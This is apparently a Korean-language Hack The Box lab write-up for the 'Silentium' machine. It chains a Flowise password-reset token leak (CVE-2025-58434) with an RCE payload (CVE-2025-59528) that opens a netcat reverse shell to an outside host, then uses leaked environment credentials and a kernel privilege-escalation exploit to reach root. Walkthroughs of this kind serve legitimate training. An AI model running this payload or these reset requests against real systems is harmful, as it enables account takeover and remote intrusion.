Home HTB - Silentium
Post
Cancel

HTB - Silentium

HTB - Silentium 문제 풀이 입니다.

Port Scanning

PortScanning 시 포트가 22번 포트와 80포트가 열려있다.

  • 22 : OpenSSH 9.6p1
  • 80 : nginx 1.24
1
2
3
4
5
6
7
8
9
10
11
12
13
14
 nmap -Pn -sC -sV -p 22,80 --open 10.129.48.169 -oA 10_129_48_16_tcp_detail
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-04 23:55 KST
Nmap scan report for 10.129.48.169
Host is up (0.20s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

VHost Scan

  • FFUF 스캔으로 VHOST 검색 시 Flowise 서비스를 확인할 수 있음
  • Flowise 3.0.5
  • LangChain(랭체인)을 기반으로 하여, 코딩 없이 시각적 드래그 앤 드롭 방식으로 대형 언어 모델(LLM) 애플리케이션을 구축하고 배포할 수 있는 오픈소스 노코드(No-code) 도구
1
2
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://silentium.htb/ -H "Host: FUZZ.silentium.htb" -fs 178

image1.png

1
Flowise 3.0.5, behind nginx/1.24.0 (Ubuntu)

CVE-2025-58434(Crential Leak)

  • 비밀번호 찾기를 통해 인증우회가 가능한 CVE가 있습니다.

https://github.com/advisories/GHSA-wgpv-6j63-x5ph

  • 존재하지 않는 계정과 존재하는 계정의 응답 차이를 이용해서 쉽게 계정을 확인할 수 있음

image2.png)

1
 curl -i -X POST http://staging.silentium.htb/api/v1/account/forgot-password -H "Content-Type: application/json" -d '{"user":{"email":"ben@silentium.htb"}}'
1
2
{"user":{"id":"e26c9d6c-678c-4c10-9e36-01813e8fea73","name":"admin","email":"ben@silentium.htb","credential":"$2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9Bfuos2pWhG","tempToken":"tETLo9iGQT5VqRs08ITcxjt0ViMBWzRmAgJ5fm1cx5enNsP55hExv2Z8TGQ2B35q","tokenExpiry":"2026-05-04T15:46:24.642Z","status":"active","createdDate":"2026-01-29T20:14:57.000Z","updatedDate":"2026-05-04T15:31:24.000Z","createdBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73","updatedBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73"},"organization":{},"organizationUser":{},"workspace":{},"workspaceUser":{},"role":{}}

  • TEMP 토큰을 얻고 해당 토큰으로 비밀번호를 변경할 수 있음
1
2
3
4
5
6
7
8
9
10
11
12
curl -i -X POST http://staging.silentium.htb/api/v1/account/reset-password -H "Content-Type: application/json" -d '{"user":{"email":"ben@silentium.htb","tempToken":"tETLo9iGQT5VqRs08ITcxjt0ViMBWzRmAgJ5fm1cx5enNsP55hExv2Z8TGQ2B35q","password":"Password123!"}}'
HTTP/1.1 201 Created
Server: nginx/1.24.0 (Ubuntu)
Date: Mon, 04 May 2026 15:35:40 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 493
Connection: keep-alive
Vary: Origin
Access-Control-Allow-Credentials: true
ETag: W/"1ed-i6JOGMcF5chFAlvT4iA1aEFz2sI"

{"user":{"id":"e26c9d6c-678c-4c10-9e36-01813e8fea73","name":"admin","email":"ben@silentium.htb","credential":"$2a$05$RvSuNPeovBscAAMgz6ujves8EU5TzYjuCFfCU8JPrVNYnvaoDkblu","tempToken":"","tokenExpiry":null,"status":"active","createdDate":"2026-01-29T20:14:57.000Z","updatedDate":"2026-05-04T15:35:40.000Z","createdBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73","updatedBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73"},"organization":{},"organizationUser":{},"workspace":{},"workspaceUser":{},"role":{}}

image3.png)

CVE-2025-59528 (RCE)

  • 해당 버전에는 추가로 RCE 취약점이 존재합니다.

https://github.com/advisories/GHSA-3gcm-f6qx-ff7p

  • payload.json 파일 생성
1
2
3
4
5
6
7
{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require('child_process');cp.exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.15.236 7777 >/tmp/f');return 1;})()} )"
  }
}

  • RCE 실행
1
2
3
4
curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
     -H "Authorization: Bearer hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc" \
     -H "Content-Type: application/json" \
     -d @payload.json

SSH Credential Leak

로그인 한 계정은 ROOT 이지만 도커 환경의 계정입니다.

env 명령을 통해 환경 변수를 출력 시 password 확인이 가능함

패스워드는 SMTP_PASSWORD 로 SSH 로그인이 가능함

  • FLOWISE_PASSWORD=F1l3_d0ck3r
  • SMTP_PASSWORD=r04D!!_R4ge
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
 # env
FLOWISE_PASSWORD=F1l3_d0ck3r
ALLOW_UNAUTHORIZED_CERTS=true
NODE_VERSION=20.19.4
HOSTNAME=c78c3cceb7ba
YARN_VERSION=1.22.22
SMTP_PORT=1025
SHLVL=3
PORT=3000
HOME=/root
OLDPWD=/home/node
SENDER_EMAIL=ben@silentium.htb
PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
JWT_ISSUER=ISSUER
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
LLM_PROVIDER=nvidia-nim
SMTP_USERNAME=test
SMTP_SECURE=false
JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES=43200
FLOWISE_USERNAME=ben
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DATABASE_PATH=/root/.flowise
JWT_TOKEN_EXPIRY_IN_MINUTES=360
JWT_AUDIENCE=AUDIENCE
SECRETKEY_PATH=/root/.flowise
PWD=/
SMTP_PASSWORD=r04D!!_R4ge
NVIDIA_NIM_LLM_MODE=managed
SMTP_HOST=mailhog
JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
SMTP_USER=test

CVE-2026-31431(Copy-Fail)

LPE는 문제 의도는 이게 아닐텐데 최근에 티오리에서 발견한 Copy Fail LPE 공격으로 FLAG를 얻었음

1
2
3
4
5
6
7
8
9
10
11
ben@silentium:/tmp$ vim ex.py
ben@silentium:/tmp$ python3 ex.py 

# id
uid=0(root) gid=1000(ben) groups=1000(ben),100(users)
# clear
TERM environment variable not set.
# id
uid=0(root) gid=1000(ben) groups=1000(ben),100(users)
# cat /root/root.txt

Conclusion

Flowise 페이지를 발견했을떄 js번들링 떄문에 버전이랑 API 찾는게 귀찮았는데, codex로 돌리니 금방 나오네요.

회사에서도 AI를 적극적으로 사용할 수 있는 날이 왔으면 좋겠습니다. 허허

특히 LPE의 경우 최근에 티오리에서 발견한 CopyFail을 사용했는데, 손쉽게 ROOT 권한을 얻었습니다.

여러 리눅스 및 배포판에서 사용 가능한 취약점이 파급력이 큰거 같습니다.
운영계에서 바로 사용해 보기는 어려울듯 합니다ㅠㅠ
커널 페이지 캐시를 건드려서 재부팅 하면 문제는 없지만, 가용성 때문에….